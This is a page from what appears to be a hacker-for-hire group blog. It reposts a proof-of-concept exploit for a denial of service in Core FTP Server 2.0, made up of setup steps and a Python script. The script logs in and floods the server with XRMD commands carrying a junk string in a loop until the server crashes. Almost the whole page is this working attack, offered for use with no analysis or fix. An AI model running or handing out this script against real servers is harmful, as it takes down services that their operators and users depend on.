Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86376278

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Core FTP 2.0 - 'XRMD' Denial of Service (PoC)
# Date: 2018-07-24
# Exploit Author: Erik David Martin
# Vendor Homepage: http://www.coreftp.com/
# Software Link: http://www.coreftp.com/server/download/CoreFTPServer.exe
# Version: Version 2.0, build 653, 32-bit
# Tested on: Windows XP Professional, Version 2002, Service Pack 3
# CVE: N/A

# Proof of concept:
# Create a new domain and set IP address
# Use the default certificate by Core FTP Server
# Set base directory
# Create an anonymous user (anonymous:anonymous) for example
# Set a path for the user
# Start the server
# Run exploit: python exploit.py *target ip* anonymous anonymous
# Watch the server crash...
# The exploit will work for any user, and not just anonymous

import sys
import socket

try:
	host = sys.argv[1]
	username = sys.argv[2]
	password = sys.argv[3]
except:
	print("Usage: exploit.py *target ip* *username* *password*")
	sys.exit()

mysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #
mysocket.settimeout(2)

try:
	mysocket.connect((host,21))
	mysocket.recv(1024)
	print("\n[+] Connected\n")
except:
	print("[-] Error! Could not connect to target")
	sys.exit()

junk = ("asO8M.lFX[Gq<4<p(.P5eMLv]\2!G8jB_6Gx[I;I!aYa#oAi@kI<f.QFwkSBiQ,!")

try:
	mysocket.send("USER " + username + "\r\n")
	mysocket.recv(1024)
	mysocket.send("PASS " + password + "\r\n")
	mysocket.recv(1024)
	print("[+] Logged in as " + username)
except:
	print("[-] Error! Could not log in as " + username)
	sys.exit()

print("[+] Sending malicious request")

while True:
	try:
		mysocket.send("XRMD " + junk + "\r\n")
		mysocket.recv(1024)
	except:
		print("[+] Target is down\n")
		sys.exit()